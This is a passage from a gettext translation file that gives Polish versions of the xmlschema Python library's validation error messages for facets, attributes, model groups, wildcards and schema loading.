targetNamespace" + +#: xmlschema/validators/global_maps.py:350 +msgid "unexpected instance {!r} in global map" +msgstr "nieoczekiwana instancja {!r} w mapie globalnej" + +#: xmlschema/validators/global_maps.py:382 +msgid "{0!r} cannot substitute {1!r}" +msgstr "{0!r} nie może zastąpić {1!r}" + +#: xmlschema/validators/global_maps.py:578 +msgid "missing XSD namespace in meta-schema instance {!r}" +msgstr "brakująca przestrzeń nazw XSD w instancji metaschematu {!r}" + +#: xmlschema/validators/global_maps.py:587 +msgid "missing default meta-schema instance {!r}" +msgstr "brakująca domyślna instancja metaschematu {!r}" + +#: xmlschema/validators/global_maps.py:639 +msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" +msgstr "defaultAttributes={0!r} nie pasuje do żadnej grupy atrybutów {1!r}" + +#: xmlschema/validators/global_maps.py:682 +msgid "global element not built!" +msgstr "element globalny nie został utworzony!" + +#: xmlschema/validators/global_maps.py:684 +msgid "circularity found for substitution group with head element {}" +msgstr "kołowość znaleziona dla grupy podstawieniowej z elementem głównym {}" + +#: xmlschema/validators/global_maps.py:689 +#, python-format +msgid "global map has unbuilt components: %r" +msgstr "mapa globalna ma niezbudowane komponenty: %r" + +#: xmlschema/validators/global_maps.py:694 +msgid "global group not built!" +msgstr "grupa globalna nie została utworzona!" + +#: xmlschema/validators/global_maps.py:701 +msgid "the redefined group is an illegal restriction" +msgstr "przedefiniowana grupa jest nielegalnym ograniczeniem" + +#: xmlschema/validators/global_maps.py:717 +msgid "the derived group is an illegal restriction" +msgstr "grupa pochodna jest nielegalnym ograniczeniem" + +#: xmlschema/validators/global_maps.py:727 +msgid "restriction has an open content but base type has not" +msgstr "ograniczenie ma otwartą zawartość, ale typ bazowy nie ma" + +#: xmlschema/validators/global_maps.py:733 +msgid "can't verify the content model of {!r} due to exceeding of maximum recursion depth" +msgstr "nie może zweryfikować modelu zawartości {!r} z powodu przekroczenia maksymalnej głębokości rekurencji" + +#: xmlschema/validators/facets.py:63 +msgid "invalid type {!r} provided" +msgstr "podano nieprawidłowy typ {!r}" + +#: xmlschema/validators/facets.py:84 +msgid "{0!r} facet value is fixed to {1!r}" +msgstr "wartość aspektu {0!r} została ustalona na {1!r}" + +#: xmlschema/validators/facets.py:135 xmlschema/validators/facets.py:138 +msgid "facet value can be only 'collapse'" +msgstr "wartość aspektu może być tylko 'collapse'" + +#: xmlschema/validators/facets.py:140 +msgid "facet value can be only 'replace' or 'collapse'" +msgstr "wartość aspektu może być tylko 'replace' lub 'collapse'" + +#: xmlschema/validators/facets.py:145 +msgid "value contains tabs or newlines" +msgstr "wartość zawiera tabulatory lub znaki nowej linii" + +#: xmlschema/validators/facets.py:151 +msgid "value contains non collapsed white spaces" +msgstr "wartość zawiera niezawinięte białe spacje" + +#: xmlschema/validators/facets.py:175 +msgid "base facet has a different length ({})" +msgstr "aspekt podstawowy ma inną długość ({})" + +#: xmlschema/validators/facets.py:185 +msgid "length has to be {!r}" +msgstr "długość musi wynosić {!r}" + +#: xmlschema/validators/facets.py:209 +msgid "base facet has a greater min length ({})" +msgstr "podstawowy aspekt ma większą minimalną długość ({})" + +#: xmlschema/validators/facets.py:219 +msgid "value length cannot be lesser than {!r}" +msgstr "długość wartości nie może być mniejsza niż {!r}" + +#: xmlschema/validators/facets.py:243 +msgid "base type has a lesser max length ({})" +msgstr "typ podstawowy ma mniejszą maksymalną długość ({})" + +#: xmlschema/validators/facets.py:253 +msgid "value length cannot be greater than {!r}" +msgstr "długość wartości nie może być większa niż {!r}" + +#: xmlschema/validators/facets.py:276 xmlschema/validators/facets.py:307 +#: xmlschema/validators/facets.py:342 xmlschema/validators/facets.py:373 +msgid "invalid restriction: {}" +msgstr "nieprawidłowe ograniczenie: {}" + +#: xmlschema/validators/facets.py:281 +msgid "value has to be greater or equal than {!r}" +msgstr "wartość musi być większa lub równa {!r}" + +#: xmlschema/validators/facets.py:311 +msgid "invalid restriction: {} is also the maximum" +msgstr "nieprawidłowe ograniczenie: {} to także maksimum" + +#: xmlschema/validators/facets.py:317 +msgid "value has to be greater than {!r}" +msgstr "wartość musi być większa niż {!r}" + +#: xmlschema/validators/facets.py:347 +msgid "value has to be less than or equal than {!r}" +msgstr "wartość musi być mniejsza lub równa {!r}" + +#: xmlschema/validators/facets.py:377 +msgid "invalid restriction: {} is also the minimum" +msgstr "nieprawidłowe ograniczenie: {} to także maksimum" + +#: xmlschema/validators/facets.py:383 +msgid "value has to be lesser than {!r}" +msgstr "wartość musi być mniejsza niż {!r}" + +#: xmlschema/validators/facets.py:418 xmlschema/validators/facets.py:475 +msgid "invalid restriction: base value is lower ({})" +msgstr "nieprawidłowe ograniczenie: wartość podstawowa jest niższa ({})" + +#: xmlschema/validators/facets.py:428 +msgid "the number of digits has to be lesser or equal than {!r}" +msgstr "liczba cyfr musi być mniejsza lub równa {!r}" + +#: xmlschema/validators/facets.py:456 +msgid "fractionDigits facet can be applied only to types derived from xs:decimal" +msgstr "aspekt fractionDigits można zastosować tylko do typów pochodnych od xs:decimal" + +#: xmlschema/validators/facets.py:470 +msgid "fractionDigits facet value must be 0 for types derived from xs:integer" +msgstr "wartość aspektu fractionDigits musi wynosić 0 dla typów pochodnych od xs:integer" + +#: xmlschema/validators/facets.py:485 +msgid "the number of fraction digits has to be lesser or equal than {!r}" +msgstr "liczba cyfr ułamkowych musi być mniejsza lub równa {!r}" + +#: xmlschema/validators/facets.py:517 +msgid "invalid restriction from {!r}" +msgstr "nieprawidłowe ograniczenie z {!r}" + +#: xmlschema/validators/facets.py:522 +msgid "time zone required for value {!r}" +msgstr "strefa czasowa wymagana dla wartości {!r}" + +#: xmlschema/validators/facets.py:527 +msgid "time zone prohibited for value {!r}" +msgstr "strefa czasowa zabroniona dla wartości {!r}" + +#: xmlschema/validators/facets.py:571 +msgid "value {!r} must match a notation declaration" +msgstr "wartość {!r} musi być zgodna z deklaracją notacji" + +#: xmlschema/validators/facets.py:629 +msgid "value must be one of {!r}" +msgstr "wartość musi być jedną z {!r}" + +#: xmlschema/validators/facets.py:725 +msgid "value doesn't match any pattern of {!r}" +msgstr "wartość nie pasuje do żadnego wzorca {!r}" + +#: xmlschema/validators/facets.py:789 +msgid "missing attribute 'test'" +msgstr "brakujący atrybut 'test'" + +#: xmlschema/validators/facets.py:819 +msgid "value is not true with test path {!r}" +msgstr "wartość nie jest prawdziwa dla ścieżki testowej {!r}" + +#: xmlschema/validators/attributes.py:82 +msgid "unknown attribute {!r}" +msgstr "nieznany atrybut {!r}" + +#: xmlschema/validators/attributes.py:97 +msgid "referenced attribute has a different fixed value {!r}" +msgstr "przywoływany atrybut ma inną stałą wartość {!r}" + +#: xmlschema/validators/attributes.py:102 +msgid "attribute {!r} is not allowed when attribute reference is used" +msgstr "atrybut {!r} nie jest dozwolony, gdy używane jest odwołanie do atrybutu" + +#: xmlschema/validators/attributes.py:118 +msgid "an attribute name must be different from 'xmlns'" +msgstr "nazwa atrybutu musi być różna od 'xmlns'" + +#: xmlschema/validators/attributes.py:125 +#, python-format +msgid "cannot add attributes in %r namespace" +msgstr "nie można dodać atrybutów w %r przestrzeni nazw" + +#: xmlschema/validators/attributes.py:146 +msgid "ambiguous type definition for XSD attribute" +msgstr "niejednoznaczna definicja typu dla atrybutu XSD" + +#: xmlschema/validators/attributes.py:158 +msgid "XSD attribute's type must be a simpleType" +msgstr "typ atrybutu XSD musi być simpleType" + +#: xmlschema/validators/attributes.py:169 +msgid "the attribute 'use' must be 'optional' if the attribute 'default' is present" +msgstr "atrybut 'use' musi być 'optional', jeśli atrybut 'default' jest obecny" + +#: xmlschema/validators/attributes.py:174 +msgid "default value {!r} is not compatible with attribute's type" +msgstr "wartość domyślna {!r} nie jest zgodna z typem atrybutu" + +#: xmlschema/validators/attributes.py:177 +msgid "xs:ID key attributes cannot have a default value" +msgstr "atrybuty klucza xs:ID nie mogą mieć wartości domyślnej" + +#: xmlschema/validators/attributes.py:183 +msgid "fixed value {!r} is not compatible with attribute's type" +msgstr "stała wartość {!r} nie jest zgodna z typem atrybutu" + +#: xmlschema/validators/attributes.py:186 +msgid "xs:ID key attributes cannot have a fixed value" +msgstr "atrybuty klucza xs:ID nie mogą mieć stałej wartości" + +#: xmlschema/validators/attributes.py:249 +msgid "attribute {0!r} has a fixed value {1!r}" +msgstr "atrybut {0!r} ma stałą wartość {1!r}" + +#: xmlschema/validators/attributes.py:254 +msgid "attribute {0}={1!r}: {2}" +msgstr "atrybut {0}={1!r}: {2}" + +#: xmlschema/validators/attributes.py:319 +msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" +msgstr "atrybut 'fixed' z use=prohibited nie jest dozwolony w XSD 1.1." + +#: xmlschema/validators/attributes.py:413 +msgid "more anyAttribute declarations in the same attribute group" +msgstr "więcej deklaracji anyAttribute w tej samej grupie atrybutów" + +#: xmlschema/validators/attributes.py:416 +msgid "another declaration after anyAttribute" +msgstr "another declaration after anyAttribute" + +#: xmlschema/validators/attributes.py:431 +msgid "multiple declaration for attribute {!r}" +msgstr "wielokrotna deklaracja atrybutu {!r}" + +#: xmlschema/validators/attributes.py:440 +msgid "the attribute 'ref' is required in a local attributeGroup" +msgstr "atrybut 'ref' jest wymagany w lokalnej atrybutGroup" + +#: xmlschema/validators/attributes.py:450 +msgid "duplicated attributeGroup {!r}" +msgstr "zduplikowany attributeGroup {!r}" + +#: xmlschema/validators/attributes.py:456 +msgid "in a redefinition the reference to itself must be the first" +msgstr "w redefinicji odwołanie do siebie musi być pierwsze" + +#: xmlschema/validators/attributes.py:467 +msgid "attributeGroup ref={!r} is not in the redefined group" +msgstr "attributeGroup ref={!r} nie znajduje się w przedefiniowanej grupie" + +#: xmlschema/validators/attributes.py:471 +msgid "Circular attribute groups not allowed in XSD 1.0" +msgstr "Cykliczne grupy atrybutów niedozwolone w XSD 1.0" + +#: xmlschema/validators/attributes.py:479 +msgid "unknown attribute group {!r}" +msgstr "nieznana grupa atrybutów {!r}" + +#: xmlschema/validators/attributes.py:488 +msgid "multiple declaration of attribute {!r}" +msgstr "wielokrotna deklaracja atrybutu {!r}" + +#: xmlschema/validators/attributes.py:497 +msgid "Circular reference found between attribute groups {0!r} and {1!r}" +msgstr "Odniesienie cykliczne między grupami atrybutów {0!r} i {1!r}" + +#: xmlschema/validators/attributes.py:502 +msgid "(attribute | attributeGroup) expected, found {!r}." +msgstr "(attribute | attributeGroup) oczekiwany, znaleziony {!r}." + +#: xmlschema/validators/attributes.py:513 +msgid "Unexpected attribute {!r} in restriction" +msgstr "Nieoczekiwany atrybut {!r} w ograniczeniu" + +#: xmlschema/validators/attributes.py:529 +msgid "Attribute wildcard is not a restriction of the base wildcard" +msgstr "Symbol wieloznaczny atrybutu nie jest ograniczeniem podstawowego symbolu wieloznacznego" + +#: xmlschema/validators/attributes.py:539 +msgid "Attribute type is not a restriction of the base attribute type" +msgstr "Typ atrybutu nie jest ograniczeniem podstawowego typu atrybutu" + +#: xmlschema/validators/attributes.py:544 +msgid "Attribute {!r}: unmatched attribute use in restriction" +msgstr "Atrybut {!r}: niezrównane użycie atrybutu w ograniczeniu" + +#: xmlschema/validators/attributes.py:550 +msgid "Attribute {!r}: derived attribute has a different fixed value" +msgstr "Atrybut {!r}: atrybut pochodny ma inną stałą wartość" + +#: xmlschema/validators/attributes.py:554 +msgid "Attribute {!r}: 'inheritable' property change in restriction" +msgstr "Atrybut {!r}: zmiana właściwości 'dziedziczony' w ograniczeniu" + +#: xmlschema/validators/attributes.py:568 +msgid "Missing required attribute {!r} in redefinition restriction" +msgstr "Brakujący wymagany atrybut {!r} w ograniczeniu redefinicji" + +#: xmlschema/validators/attributes.py:573 +msgid "Attribute {!r}: unmatched attribute use in redefinition" +msgstr "Atrybut {!r}: użycie niedopasowanego atrybutu w redefinicji" + +#: xmlschema/validators/attributes.py:576 +msgid "Attribute {!r}: redefinition remove fixed constraint" +msgstr "Atrybut {!r}: redefinicja usuwa stałe ograniczenie" + +#: xmlschema/validators/attributes.py:585 +msgid "Redefinition restriction contains additional attribute {!r}" +msgstr "Ograniczenie przedefiniowania zawiera dodatkowy atrybut {!r}" + +#: xmlschema/validators/attributes.py:589 +msgid "Wrong attribute order in redefinition restriction" +msgstr "Nieprawidłowa kolejność atrybutów w ograniczeniu redefinicji" + +#: xmlschema/validators/attributes.py:607 +msgid "multiple ID attributes not allowed for XSD 1.0" +msgstr "wiele atrybutów ID niedozwolonych dla XSD 1.0" + +#: xmlschema/validators/attributes.py:660 +#: xmlschema/validators/attributes.py:738 +msgid "missing required attribute {!r}" +msgstr "brak wymaganego atrybutu {!r}" + +#: xmlschema/validators/attributes.py:695 +#: xmlschema/validators/attributes.py:760 +#, python-format +msgid "%r is not an attribute of the XSI namespace" +msgstr "%r nie jest atrybutem przestrzeni nazw XSI" + +#: xmlschema/validators/attributes.py:703 +#: xmlschema/validators/attributes.py:768 +#, python-format +msgid "%r attribute not allowed for element" +msgstr "atrybut %r niedozwolony dla elementu" + +#: xmlschema/validators/attributes.py:709 +#, python-format +msgid "use of attribute %r is prohibited" +msgstr "użycie atrybutu %r jest zabronione" + +#: xmlschema/validators/exceptions.py:342 +#, python-format +msgid "The content of element %r is not complete." +msgstr "Zawartość elementu %r nie jest kompletna." + +#: xmlschema/validators/exceptions.py:345 +#, python-format +msgid "Unexpected child with tag %r at position %d." +msgstr "Nieoczekiwany element potomny ze znacznikiem %r na pozycji %d." + +#: xmlschema/validators/exceptions.py:372 +#, python-format +msgid " Tag (%s) expected." +msgstr " Oczekiwany znacznik (%s)." + +#: xmlschema/validators/exceptions.py:374 +#, python-format +msgid " Tag %s expected." +msgstr " Oczekiwany znacznik %s." + +#: xmlschema/validators/exceptions.py:376 +#, python-format +msgid " Tag %r expected." +msgstr " Oczekiwany znacznik %r." + +#: xmlschema/validators/groups.py:355 +msgid "{!r} is not a particle of the model group" +msgstr "{!r} nie jest cząstką grupy modelowej" + +#: xmlschema/validators/groups.py:413 xmlschema/validators/groups.py:455 +msgid "attribute 'name' not allowed in a local group" +msgstr "atrybut 'name' niedozwolony w grupie lokalnej" + +#: xmlschema/validators/groups.py:422 +#, python-format +msgid "missing group %r" +msgstr "brakująca grupa %r" + +#: xmlschema/validators/groups.py:429 xmlschema/validators/groups.py:485 +msgid "maxOccurs must be 1 for 'all' model groups" +msgstr "maxOccurs musi wynosić 1 dla grup modeli 'all'" + +#: xmlschema/validators/groups.py:432 xmlschema/validators/groups.py:488 +#: xmlschema/validators/groups.py:1285 +msgid "minOccurs must be (0 | 1) for 'all' model groups" +msgstr "minOccurs musi wynosić (0 | 1) dla grup modeli 'all'" + +#: xmlschema/validators/groups.py:435 +msgid "in XSD 1.0 an 'all' model group cannot be nested" +msgstr "w XSD 1.0 grupa modeli 'all' nie może być zagnieżdżona" + +#: xmlschema/validators/groups.py:441 xmlschema/validators/groups.py:523 +#: xmlschema/validators/groups.py:1317 +#, python-format +msgid "Circular definition detected for group %r" +msgstr "Wykryto definicję cykliczną dla grupy %r" + +#: xmlschema/validators/groups.py:459 xmlschema/validators/groups.py:469 +msgid "attribute 'minOccurs' not allowed in a global group" +msgstr "atrybut 'minOccurs' niedozwolony w grupie globalnej" + +#: xmlschema/validators/groups.py:462 xmlschema/validators/groups.py:472 +msgid "attribute 'maxOccurs' not allowed in a global group" +msgstr "atrybut 'maxOccurs' niedozwolony w grupie globalnej" + +#: xmlschema/validators/groups.py:499 +msgid "'all' model can contain only elements" +msgstr "model 'all' może zawierać tylko elementy" + +#: xmlschema/validators/groups.py:509 xmlschema/validators/groups.py:1301 +msgid "missing attribute 'ref' in local group" +msgstr "brakujący atrybut 'ref' w grupie lokalnej" + +#: xmlschema/validators/groups.py:518 +msgid "'all' model can appears only at 1st level of a model group" +msgstr "model 'all' może pojawić się tylko na pierwszym poziomie grupy modeli." + +#: xmlschema/validators/groups.py:527 xmlschema/validators/groups.py:1321 +msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" +msgstr "Przedefiniowane odniesienie do grupy nie może mieć minOccurs/maxOccurs innego niż 1" + +#: xmlschema/validators/groups.py:821 +msgid "Element Declarations Consistent violation between {0!r} and {1!r}: match the same name but with different types" +msgstr "Deklaracje elementów spójne naruszenie między {0!r} i {1!r}: pasują do tej samej nazwy, ale z różnymi typami" + +#: xmlschema/validators/groups.py:835 +msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" +msgstr "{0!r} i {1!r} pokrywają się i są w tej samej grupie {2!r}" + +#: xmlschema/validators/groups.py:847 +msgid "Unique Particle Attribution violation between {0!r} and {1!r}" +msgstr "Unikalne naruszenie atrybucji cząstek między {0!r} i {1!r}" + +#: xmlschema/validators/groups.py:860 +#, python-format +msgid "substitution of %r is blocked" +msgstr "podstawienie %r jest zablokowane" + +#: xmlschema/validators/groups.py:909 +msgid "usage of {0!r} with type {1} is blocked by head element" +msgstr "użycie {0!r} z typem {1} jest blokowane przez element główny" + +#: xmlschema/validators/groups.py:934 +msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" +msgstr "{0!r}, która pasuje do {1!r} nie jest spójna z lokalną deklaracją {2!r}" + +#: xmlschema/validators/groups.py:940 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." +msgstr "Może nie być równoważnej tabeli typów między elementami {0!r} i {1!r}." + +#: xmlschema/validators/groups.py:970 +msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" +msgstr "pusta grupa 'choice' z minOccurs > 0 nie może zweryfikować żadnej zawartości" + +#: xmlschema/validators/groups.py:982 xmlschema/validators/groups.py:1242 +msgid "character data between child elements not allowed" +msgstr "niedozwolone dane znakowe między elementami podrzędnymi" + +#: xmlschema/validators/groups.py:995 +#, python-format +msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" +msgstr "przekroczona głębokość danych XML (MAX_XML_DEPTH=%r)" + +#: xmlschema/validators/groups.py:1202 +msgid "{!r} does not match any declared element of the model group" +msgstr "{!r} nie pasuje do żadnego zadeklarowanego elementu grupy modeli" + +#: xmlschema/validators/groups.py:1205 +msgid "{0} has an unknown prefix {1!r}" +msgstr "{0} ma nieznany prefiks {1!r}" + +#: xmlschema/validators/groups.py:1238 +msgid "wrong content type {!r}" +msgstr "nieprawidłowy typ zawartości {!r}" + +#: xmlschema/validators/groups.py:1282 +msgid "maxOccurs must be (0 | 1) for 'all' model groups" +msgstr "maxOccurs musi wynosić (0 | 1) dla grup modeli 'all'" + +#: xmlschema/validators/groups.py:1311 +#, python-brace-format +msgid "an xs:{0} group cannot include a reference to an xs:{1} group" +msgstr "grupa xs:{0} nie może zawierać odniesienia do grupy xs:{1}" + +#: xmlschema/validators/wildcards.py:76 +#, python-format +msgid "wrong value %r in 'namespace' attribute" +msgstr "nieprawidłowa wartość %r w atrybucie 'namespace'" + +#: xmlschema/validators/wildcards.py:85 +#, python-format +msgid "wrong value %r for 'processContents' attribute" +msgstr "nieprawidłowa wartość %r dla atrybutu 'processContents'" + +#: xmlschema/validators/wildcards.py:94 +msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" +msgstr "atrybuty 'namespace' i 'notNamespace' wzajemnie się wykluczają" + +#: xmlschema/validators/wildcards.py:105 +#, python-format +msgid "wrong value %r in 'notNamespace' attribute" +msgstr "nieprawidłowa wartość %r w atrybucie 'notNamespace'" + +#: xmlschema/validators/wildcards.py:121 +msgid "wrong value for 'notQName' attribute" +msgstr "nieprawidłowa wartość dla atrybutu 'notQName'" + +#: xmlschema/validators/wildcards.py:128 +#, python-format +msgid "unmapped QName in 'notQName' attribute: %s" +msgstr "niezamapowana nazwa QName w atrybucie 'notQName': %s" + +#: xmlschema/validators/wildcards.py:132 +#, python-format +msgid "wrong QName format in 'notQName' attribute: %s" +msgstr "nieprawidłowy format QName w atrybucie 'notQName': %s" + +#: xmlschema/validators/wildcards.py:140 +msgid "the namespace of each QName in notQName is allowed by notNamespace" +msgstr "przestrzeń nazw każdej QName w notQName jest dozwolona przez notNamespace" + +#: xmlschema/validators/wildcards.py:144 +msgid "names in notQName must be in namespaces that are allowed" +msgstr "nazwy w notQName muszą należeć do przestrzeni nazw, które są dozwolone" + +#: xmlschema/validators/wildcards.py:319 +msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" +msgstr "niewyrażalna unia przestrzeni nazw z symbolami wieloznacznymi: {0!r} V {1!r}:" + +#: xmlschema/validators/wildcards.py:473 xmlschema/validators/wildcards.py:515 +msgid "element {!r} is not allowed here" +msgstr "element {!r} jest tutaj niedozwolony" + +#: xmlschema/validators/wildcards.py:651 xmlschema/validators/wildcards.py:681 +#, python-format +msgid "attribute %r not allowed" +msgstr "atrybut %r niedozwolony" + +#: xmlschema/validators/wildcards.py:663 xmlschema/validators/wildcards.py:693 +#, python-format +msgid "attribute %r not found" +msgstr "nie znaleziono atrybutu %r" + +#: xmlschema/validators/wildcards.py:670 xmlschema/validators/wildcards.py:700 +msgid "unavailable namespace {!r}" +msgstr "niedostępna przestrzeń nazw {!r}" + +#: xmlschema/validators/wildcards.py:857 +#, python-format +msgid "wrong value %r for 'mode' attribute" +msgstr "nieprawidłowa wartość %r dla atrybutu 'mode'" + +#: xmlschema/validators/wildcards.py:863 +msgid "an openContent with mode='none' cannot have an <xs:any> child declaration" +msgstr "openContent z mode='none' nie może mieć deklaracji podrzędnej <xs:any>" + +#: xmlschema/validators/wildcards.py:867 +msgid "an <xs:any> child declaration is required" +msgstr "wymagana jest deklaracja podrzędna <xs:any>" + +#: xmlschema/validators/wildcards.py:908 +msgid "defaultOpenContent must be a child of the schema" +msgstr "defaultOpenContent musi być elementem podrzędnym schematu" + +#: xmlschema/validators/wildcards.py:911 +msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" +msgstr "atrybut 'mode' atrybutu defaultOpenContent nie może być 'none'" + +#: xmlschema/validators/wildcards.py:914 +msgid "a defaultOpenContent declaration cannot be empty" +msgstr "deklaracja defaultOpenContent nie może być pusta" + +#: xmlschema/validators/schemas.py:156 +msgid "XSD_VERSION must be '1.0' or '1.1'" +msgstr "XSD_VERSION musi być '1.0' lub '1.1'" + +#: xmlschema/validators/schemas.py:336 +msgid "{!r} is not a valid loglevel" +msgstr "{!r} nie jest prawidłowym poziomem logowania" + +#: xmlschema/validators/schemas.py:352 +msgid "no XSD source provided!" +msgstr "nie podano źródła XSD!" + +#: xmlschema/validators/schemas.py:380 +msgid "the attribute 'targetNamespace' cannot be an empty string" +msgstr "atrybut 'targetNamespace' nie może być pustym ciągiem znaków" + +#: xmlschema/validators/schemas.py:383 +msgid "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" +msgstr "nieprawidłowa przestrzeń nazw ({0!r} zamiast {1!r}) dla zasobu XSD {2}" + +#: xmlschema/validators/schemas.py:460 +#, python-format +msgid "'global_maps' argument must be an %r instance" +msgstr "argument 'global_maps' musi być instancją %r" + +#: xmlschema/validators/schemas.py:542 +msgid "cannot change the global maps instance of a meta-schema" +msgstr "nie może zmienić instancji map globalnych metaschematu" + +#: xmlschema/validators/schemas.py:675 xmlschema/validators/schemas.py:970 +#, python-format +msgid "meta-schema unavailable for %r" +msgstr "metaschemat niedostępny dla %r" + +#: xmlschema/validators/schemas.py:682 +msgid "missing XSD namespace in meta-schema" +msgstr "brakująca przestrzeń nazw XSD w metaschemacie" + +#: xmlschema/validators/schemas.py:754 +msgid "Missing meta-schema source URL" +msgstr "Brakujący źródłowy adres URL metaschematu" + +#: xmlschema/validators/schemas.py:766 +msgid "The argument 'base_schemas' must be a dictionary or a sequence of couples" +msgstr "Argument 'base_schemas' musi być słownikiem lub sekwencją par" + +#: xmlschema/validators/schemas.py:803 xmlschema/validators/schemas.py:815 +msgid "(restriction | list | union) expected" +msgstr "(restriction | list | union) oczekiwany" + +#: xmlschema/validators/schemas.py:826 +msgid "missing attribute 'name' in a global simpleType" +msgstr "brakujący atrybut 'name' w globalnym typie simpleType" + +#: xmlschema/validators/schemas.py:831 +msgid "attribute 'name' not allowed for a local simpleType" +msgstr "atrybut 'name' niedozwolony dla lokalnego typu simpleType" + +#: xmlschema/validators/schemas.py:875 +msgid "'model' argument must be (sequence | choice | all)" +msgstr "argument 'model' musi mieć wartość (sequence | choice | all)" + +#: xmlschema/validators/schemas.py:990 +#, python-format +msgid "schema %r is not built" +msgstr "schemat %r nie został utworzony" + +#: xmlschema/validators/schemas.py:1095 +msgid "the namespace {!r} is not loaded" +msgstr "przestrzeń nazw {!r} nie została załadowana" + +#: xmlschema/validators/schemas.py:1117 +msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" +msgstr "argument 'converter' musi być podklasą lub instancją {0!r}: {1!r}" + +#: xmlschema/validators/schemas.py:1172 +msgid "cannot include schema {0!r}: {1}" +msgstr "nie może zawierać schematu {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1186 +#, python-format +msgid "Redefine schema failed: %s" +msgstr "Ponowne zdefiniowanie schematu nie powiodło się: %s" + +#: xmlschema/validators/schemas.py:1191 +msgid "cannot redefine schema {0!r}: {1}" +msgstr "nie można przedefiniować schematu {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1207 +#, python-format +msgid "Override schema failed: %s" +msgstr "Nadpisanie schematu nie powiodło się: %s" + +#: xmlschema/validators/schemas.py:1269 +msgid "if the 'namespace' attribute is not present on the import statement then the imported schema must have a 'targetNamespace'" +msgstr "jeśli atrybut 'namespace' nie jest obecny w instrukcji importu, wówczas importowany schemat musi mieć atrybut 'targetNamespace'" + +#: xmlschema/validators/schemas.py:1275 +msgid "the attribute 'namespace' must be different from schema's 'targetNamespace'" +msgstr "atrybut 'namespace' musi być inny niż 'targetNamespace' schematu" + +#: xmlschema/validators/schemas.py:1322 +msgid "cannot import namespace {0!r}: {1}" +msgstr "nie można zaimportować przestrzeni nazw {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1324 +#, python-format +msgid "cannot import chameleon schema: %s" +msgstr "nie można zaimportować schematu kameleona: %s" + +#: xmlschema/validators/schemas.py:1388 +msgid "imported schema {0!r} has an unmatched namespace {1!r}" +msgstr "zaimportowany schemat {0!r} ma niedopasowaną przestrzeń nazw {1!r}" + +#: xmlschema/validators/schemas.py:1435 +msgid "target directory {} is not empty" +msgstr "katalog docelowy {} nie jest pusty" + +#: xmlschema/validators/schemas.py:1438 +msgid "target {} is not a directory" +msgstr "target {} nie jest katalogiem" + +#: xmlschema/validators/schemas.py:1441 +msgid "target parent directory {} does not exist" +msgstr "docelowy katalog nadrzędny {} nie istnieje" + +#: xmlschema/validators/schemas.py:1444 +msgid "target parent {} is not a directory" +msgstr "docelowy rodzic {} nie jest katalogiem" + +#: xmlschema/validators/schemas.py:1537 +msgid "invalid attribute vc:minVersion value" +msgstr "nieprawidłowa wartość atrybutu vc:minVersion" + +#: xmlschema/validators/schemas.py:1546 +msgid "invalid attribute vc:maxVersion value" +msgstr "nieprawidłowa wartość atrybutu vc:maxVersion" + +#: xmlschema/validators/schemas.py:1622 xmlschema/validators/schemas.py:1629 +#: xmlschema/validators/schemas.py:1635 +msgid "{!r} is not a valid value for xs:QName" +msgstr "{!r} nie jest prawidłową wartością dla xs:QName" + +#: xmlschema/validators/schemas.py:1641 +msgid "prefix {!r} not found in namespace map" +msgstr "przedrostek {!r} nie został znaleziony w mapie przestrzeni nazw" + +#: xmlschema/validators/schemas.py:1648 +msgid "the QName {!r} is mapped to no namespace, but this requires that there is an xs:import statement in the schema without the 'namespace' attribute." +msgstr "nazwa QName {!r} nie jest mapowana do żadnej przestrzeni nazw, ale wymaga to instrukcji xs:import w schemacie bez atrybutu 'namespace'." + +#: xmlschema/validators/schemas.py:1657 +msgid "the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not an xs:import statement in the schema." +msgstr "nazwa QName {0!r} jest mapowana do przestrzeni nazw {1!r}, ale ta przestrzeń nazw nie ma instrukcji xs:import w schemacie." + +#: xmlschema/validators/schemas.py:1798 xmlschema/validators/schemas.py:1852 +#: xmlschema/validators/schemas.py:1997 +msgid "{!r} is not an element of the schema" +msgstr "{!r} nie jest elementem schematu" + +#: xmlschema/validators/schemas.py:1826 +#, python-format +msgid "IDREF %r not found in XML document" +msgstr "IDREF %r nie został znaleziony w dokumencie XML" + +#: xmlschema/validators/schemas.py:2076 +msgid "encoding needs at least one XSD element declaration" +msgstr "kodowanie wymaga co najmniej jednej deklaracji elementu XSD" + +#: xmlschema/validators/schemas.py:2110 +#, python-format +msgid "the path %r doesn't match any element of the schema!" +msgstr "ścieżka %r nie pasuje do żadnego elementu schematu!" + +#: xmlschema/validators/schemas.py:2112 +msgid "unable to select an element for decoding data, provide a valid 'path' argument." +msgstr "nie można wybrać elementu do dekodowania danych, należy podać prawidłowy argument 'path'." + +#: xmlschema/validators/simple_types.py:133 +msgid "facets not allowed for a direct derivation of xs:anySimpleType" +msgstr "aspekty niedozwolone dla bezpośredniej pochodnej xs:anySimpleType" + +#: xmlschema/validators/simple_types.py:137 +msgid "facets not allowed for a direct content derivation of xs:anySimpleType" +msgstr "aspekty niedozwolone dla bezpośredniej pochodnej treści xs:anySimpleType" + +#: xmlschema/validators/simple_types.py:143 +msgid "one or more facets are not applicable, admitted set is {!r}" +msgstr "jeden lub więcej aspektów nie ma zastosowania, dopuszczony zestaw to {!r}" + +#: xmlschema/validators/simple_types.py:149 +#, python-format +msgid "facet group must have the same base type: %r" +msgstr "grupa aspektów musi mieć ten sam typ podstawowy: %r" + +#: xmlschema/validators/simple_types.py:159 +msgid "'length' value must be non a negative integer" +msgstr "wartość 'length' nie może być ujemną liczbą całkowitą." + +#: xmlschema/validators/simple_types.py:163 +msgid "'minLength' value must be less than or equal to 'length'" +msgstr "wartość 'minLength' musi być mniejsza lub równa wartości 'length'" + +#: 